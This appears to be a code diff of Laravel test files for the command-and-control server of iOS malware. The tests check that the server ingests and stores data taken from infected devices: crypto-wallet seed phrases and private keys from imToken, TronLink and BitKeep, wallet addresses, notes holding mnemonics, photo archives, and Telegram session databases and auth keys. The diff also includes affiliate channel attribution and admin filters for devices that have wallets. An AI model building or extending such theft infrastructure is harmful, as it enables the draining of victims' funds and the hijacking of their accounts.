->assertJsonPath('data.0.has_wallet', Device::WALLET_YES)
->assertJsonPath('data.0.wallet_names', ['MetaMask', 'TronLink']);
$this->actingAs($admin, 'admin')
->getJson(route('admin.devices.data', ['has_wallet' => Device::WALLET_NONE]))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.device_id', 'dev-none');
$this->actingAs($admin, 'admin')
->getJson(route('admin.devices.data', ['has_wallet' => Device::WALLET_UNKNOWN]))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.device_id', 'dev-unknown');
}
}
+144
View File
@@ -0,0 +1,144 @@
<?php
namespace Tests\Feature;
use App\Models\Channel;
use App\Models\Device;
use App\Models\PageVisit;
use App\Services\CorunaCrypto;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Cache;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class NewBuilderIngestTest extends TestCase
{
use RefreshDatabase;
private const SHARED_C = '202700cfb1ad3de68e11239dcc26c30b';
private const CHANNEL_ID = 'FAFA9988';
private function xxbbPost(string $path, array $payload, string $ts = '1786468227899')
{
$enc = (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson($payload, $ts);
return $this->call('POST', $path, [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_X_TS' => $ts,
], $enc['body']);
}
#[Test]
public function new_builder_device_uses_recent_visit_not_native_c(): void
{
Channel::query()->create([
'channel_id' => self::CHANNEL_ID,
'builder_type' => Channel::BUILDER_NEW,
'user_id' => 0,
'status' => 1,
]);
Cache::flush();
$this->call('POST', '/api/iptj', [], [], [], [
'CONTENT_TYPE' => 'application/json',
'REMOTE_ADDR' => '203.0.113.9',
], json_encode([
'channelCode' => 'fafa9988',
'deviceVersion' => 'iOS 16.6',
'domain' => 'landing.example',
'sessionId' => '11111111-2222-4333-8444-555555555555',
]))->assertOk();
$this->call('POST', '/event', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_X_TS' => '1786468227899',
'REMOTE_ADDR' => '203.0.113.9',
], (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson([
'd' => '000C30D83CD0402E',
'f' => '000C30D83CD0402E',
'c' => self::SHARED_C,
'et' => 'injection_success',
'm' => 'iPhone12,8',
'pv' => '16.6',
], '1786468227899')['body'])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertSame(self::CHANNEL_ID, $device->channel_id);
$this->assertSame('landing.example', $device->source_domain);
$this->assertNotSame(self::SHARED_C, $device->channel_id);
}
#[Test]
public function new_builder_device_without_visit_is_still_created(): void
{
$this->xxbbPost('/event', [
'd' => '000C30D83CD0402E',
'f' => '000C30D83CD0402E',
'c' => self::SHARED_C,
'et' => 'injection_success',
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertNull($device->channel_id);
$this->assertNull($device->source_domain);
}
#[Test]
public function old_builder_put_still_writes_payload_c(): void
{
$crypto = new CorunaCrypto;
$ts = '1722585600001';
$enc = $crypto->encryptJson([
'd' => '000C30D83CD0402E',
'f' => '000C30D83CD0402E',
'c' => self::SHARED_C,
'et' => 'injection_success',
], $ts);
$this->call('POST', '/api/user/avatar/put', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_TIMESTAMP' => $ts,
], $enc['body'])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertSame(self::SHARED_C, $device->channel_id);
}
#[Test]
public function claimed_visit_is_not_reused_by_second_device(): void
{
Channel::query()->create([
'channel_id' => self::CHANNEL_ID,
'builder_type' => Channel::BUILDER_NEW,
'user_id' => 0,
'status' => 1,
]);
PageVisit::query()->create([
'channel_id' => self::CHANNEL_ID,
'client_uid' => 'landing.example',
'ip' => '127.0.0.1',
'domain' => 'landing.example',
'created_at' => now(),
]);
$this->xxbbPost('/event', [
'd' => '000C30D83CD0402E',
'c' => self::SHARED_C,
'et' => 'injection_success',
])->assertOk();
$this->xxbbPost('/event', [
'd' => '111C30D83CD0402E',
'c' => self::SHARED_C,
'et' => 'injection_success',
])->assertOk();
$first = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$second = Device::query()->where('device_id', '111C30D83CD0402E')->first();
$this->assertSame(self::CHANNEL_ID, $first->channel_id);
$this->assertNull($second->channel_id);
$this->assertNotNull($second);
}
}
+16 -1
View File
@@ -35,7 +35,8 @@ class PageVisitTest extends TestCase
$row = PageVisit::query()->first();
$this->assertNotNull($row);
$this->assertSame(self::CHANNEL, $row->channel_id);
$this->assertSame('11111111-2222-4333-8444-555555555555', $row->client_uid);
$this->assertSame(PageVisit::visitorUid($row->domain ?? 'localhost', $row->ip), $row->client_uid);
$this->assertSame(PageVisit::VISITOR_UID_LENGTH, strlen($row->client_uid));
$this->assertSame('iOS', $row->os);
$this->assertSame('16.6', $row->os_version);
$this->assertSame('Safari', $row->browser);
@@ -79,6 +80,20 @@ class PageVisitTest extends TestCase
$this->assertSame('https://search.example/q=ios', $row->referer);
}
#[Test]
public function visitor_uid_is_stable_for_domain_and_ip(): void
{
$a = PageVisit::visitorUid('XXBB.TV', '203.0.113.9');
$b = PageVisit::visitorUid('https://xxbb.tv/path', '203.0.113.9');
$c = PageVisit::visitorUid('xxbb.tv', '203.0.113.10');
$d = PageVisit::visitorUid('other.tv', '203.0.113.9');
$this->assertSame(PageVisit::VISITOR_UID_LENGTH, strlen($a));
$this->assertSame($a, $b);
$this->assertNotSame($a, $c);
$this->assertNotSame($a, $d);
}
#[Test]
public function hit_debounces_duplicate_uid(): void
{
+218 -3
View File
@@ -5,13 +5,18 @@ namespace Tests\Feature;
use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\DeviceEvent;
use App\Models\Note;
use App\Models\PageVisit;
use App\Models\Photo;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Services\CorunaCrypto;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Http\UploadedFile;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Storage;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
@@ -59,10 +64,44 @@ class XxbbC2ApiTest extends TestCase
$row = PageVisit::query()->first();
$this->assertNotNull($row);
$this->assertSame('56885688', $row->channel_id);
$this->assertSame('xxbb.tv', $row->client_uid);
$this->assertSame('xxbb.tv', $row->path);
$this->assertSame('xxbb.tv', $row->domain);
$this->assertSame(PageVisit::visitorUid('xxbb.tv', $row->ip), $row->client_uid);
$this->assertNotSame('xxbb.tv', $row->client_uid);
$this->assertSame('iOS', $row->os);
$this->assertSame('16.6', $row->os_version);
$this->assertNull($row->session_id);
}
#[Test]
public function iptj_dedupes_by_session_id(): void
{
Cache::flush();
$body = [
'channelCode' => '56885688',
'deviceVersion' => 'iOS 16.6',
'domain' => 'xxbb.tv',
'sessionId' => '11111111-2222-4333-8444-555555555555',
];
$this->call('POST', '/api/iptj', [], [], [], [
'CONTENT_TYPE' => 'application/json',
], json_encode($body))->assertOk();
Cache::flush();
$this->call('POST', '/api/iptj', [], [], [], [
'CONTENT_TYPE' => 'application/json',
], json_encode($body))->assertOk();
$this->call('POST', '/api/iptj', [], [], [], [
'CONTENT_TYPE' => 'application/json',
], json_encode([
...$body,
'sessionId' => 'aaaaaaaa-bbbb-4ccc-8ddd-eeeeeeeeeeee',
]))->assertOk();
$this->assertSame(2, PageVisit::query()->count());
$this->assertSame(
'11111111-2222-4333-8444-555555555555',
PageVisit::query()->orderBy('id')->value('session_id'),
);
}
#[Test]
@@ -96,7 +135,7 @@ class XxbbC2ApiTest extends TestCase
$this->assertNotNull($device);
$this->assertSame('iPhone12,8', $device->device_model);
$this->assertSame('16.6', $device->ios_version);
$this->assertSame('202700cfb1ad3de68e11239dcc26c30b', $device->channel_id);
$this->assertNull($device->channel_id);
$ev = DeviceEvent::query()->where('device_key', '000C30D83CD0402E')->first();
$this->assertNotNull($ev);
@@ -121,6 +160,8 @@ class XxbbC2ApiTest extends TestCase
$app = DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'im.token.app')->first();
$this->assertNotNull($app);
$this->assertSame('imToken', $app->name);
$this->assertSame(Device::WALLET_YES, (int) $device->has_wallet);
$this->assertSame(['imToken'], $device->walletNameList());
}
#[Test]
@@ -195,4 +236,178 @@ class XxbbC2ApiTest extends TestCase
$this->assertNull(Device::query()->where('device_id', '000C30D83CD0402E')->first());
}
#[Test]
public function nb_ingests_notes(): void
{
$this->xxbbPost('/nb', [
'd' => '000C30D83CD0402E',
'c' => '202700cfb1ad3de68e11239dcc26c30b',
'list' => [
"spawn rabbit unusual favorite yard recipe\n(R(R",
'second note line',
],
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertSame(1, Note::query()->where('device_id', $device->id)->count());
$note = Note::query()->where('device_id', $device->id)->first();
$this->assertIsArray($note->content);
$this->assertCount(2, $note->content);
$this->assertStringContainsString('spawn rabbit', $note->content[0]);
}
#[Test]
public function result_ingests_mnemonic(): void
{
$this->xxbbPost('/result', [
'd' => '000C30D83CD0402E',
'a' => 'b',
'result' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$row = WalletMnemonic::query()->where('device_id', $device->id)->first();
$this->assertNotNull($row);
$this->assertSame('imToken', $row->source);
$this->assertStringContainsString('abandon', $row->mnemonic);
}
#[Test]
public function t_extracts_photo_archive_and_stores_file(): void
{
Storage::fake('local');
$crypto = $this->xxbbCrypto();
$tmp = sys_get_temp_dir().'/xxbb_photo_'.uniqid();
mkdir($tmp);
$jpegPath = $tmp.'/hit.jpg';
file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9");
$archivePath = $tmp.'/capture.7z';
$password = $crypto->archivePassword('0');
$bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z')
? '/opt/homebrew/opt/p7zip/bin/7z'
: '7z';
$cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password)
.' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1';
exec($cmd, $out, $code);
$this->assertSame(0, $code, implode("\n", $out));
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
$this->call(
'POST',
'/t',
[
'd' => '000C30D83CD0402E',
'f' => '000C30D83CD0402E',
'batchBase' => '0',
'idx' => '000001000000',
'ftu' => '000001000000',
'x-hit' => '12',
],
[],
['file' => $upload],
['CONTENT_TYPE' => 'multipart/form-data']
)->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$photo = Photo::query()->where('device_id', $device->id)->first();
$this->assertNotNull($photo);
$this->assertSame(hash('sha256', "\xFF\xD8\xFF\xD9"), $photo->sha256);
$this->assertSame(4, $photo->size);
$this->assertSame(12, $photo->x_hit);
$this->assertSame(1, $photo->upload_count);
$this->assertSame(0, $photo->process_index);
$this->assertSame(1, $photo->text_count);
$this->assertSame(0, $photo->barcode_count);
Storage::disk('local')->assertExists($photo->path);
@unlink($jpegPath);
@unlink($archivePath);
@rmdir($tmp);
}
#[Test]
public function us_ingests_tronlink_mnemonic(): void
{
$this->xxbbPost('/us', [
'd' => '000C30D83CD0402E',
'a' => 'c',
'result' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$row = WalletMnemonic::query()->where('device_id', $device->id)->first();
$this->assertNotNull($row);
$this->assertSame('TronLink', $row->source);
}
#[Test]
public function us_ingests_private_key_without_result_wrapper(): void
{
$this->xxbbPost('/us', [
'd' => '000C30D83CD0402E',
'a' => 'f',
'privateKey' => '0x'.str_repeat('ab', 32),
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$row = WalletMnemonic::query()->where('device_id', $device->id)->first();
$this->assertNotNull($row);
$this->assertSame('BitKeep', $row->source);
$this->assertStringStartsWith('0x', $row->mnemonic);
}
#[Test]
public function ub_ingests_global_wallet_ad_map(): void
{
Http::fake(['*' => Http::response(['ok' => true], 200)]);
$this->xxbbPost('/ub', [
'd' => '000C30D83CD0402E',
'a' => 'p',
'ad' => [
'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6' => '0.32647342126093182783704',
],
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$addr = WalletAddress::query()
->where('device_id', $device->id)
->where('address', 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6')
->first();
$this->assertNotNull($addr);
$this->assertSame('Global Wallet', $addr->source);
$this->assertSame('TRON', $addr->chain_type);
}
#[Test]
public function api_tg_t_ingests_telegram_auth(): void
{
$this->xxbbPost('/api/tg/t', [
'd' => '000C30D83CD0402E',
'd1' => '00008030-000C30D83CD0402E',
'd2' => 'FFXD5S8FPLJM',
'c' => '202700cfb1ad3de68e11239dcc26c30b',
'a' => 'tg',
'user_id' => '123456789',
'state' => ['records' => [['id' => 1]]],
'db_sqlite' => base64_encode('not-a-real-sqlite'),
'datacenterAuthInfoById' => 'AQID',
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$ks = WalletKeystore::query()->where('device_id', $device->id)->first();
$this->assertNotNull($ks);
$this->assertSame('123456789', $ks->raw_json['user_id'] ?? null);
$this->assertSame('Telegram', $ks->raw_json['source'] ?? null);
$this->assertArrayHasKey('db_sqlite', $ks->raw_json);
$this->assertSame('AQID', $ks->raw_json['datacenterAuthInfoById'] ?? null);
}
}
+30
View File
@@ -0,0 +1,30 @@
<?php
namespace Tests\Unit;
use App\Support\WalletSource;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class WalletSourceTest extends TestCase
{
#[Test]
public function plugin_wallet_bundles_match_mnemonic_plugins_only(): void
{
$this->assertTrue(WalletSource::isPluginWalletBundle('io.metamask.MetaMask'));
$this->assertTrue(WalletSource::isPluginWalletBundle('im.token.app'));
$this->assertTrue(WalletSource::isPluginWalletBundle('com.tronlink.hdwallet'));
$this->assertFalse(WalletSource::isPluginWalletBundle('ph.telegra.Telegraph'));
$this->assertFalse(WalletSource::isPluginWalletBundle('com.apple.mobilesafari'));
$this->assertFalse(WalletSource::isPluginWalletBundle(''));
}
#[Test]
public function bundle_labels_collapse_aliases(): void
{
$this->assertSame('MetaMask', WalletSource::labelForBundle('io.metamask.MetaMask'));
$this->assertSame('MetaMask', WalletSource::labelForBundle('io.metamask', 'MM'));
$this->assertSame('Trust Wallet', WalletSource::labelForBundle('com.sixdays.trust'));
$this->assertSame('Safari', WalletSource::labelForBundle('com.apple.mobilesafari', 'Safari'));
}
}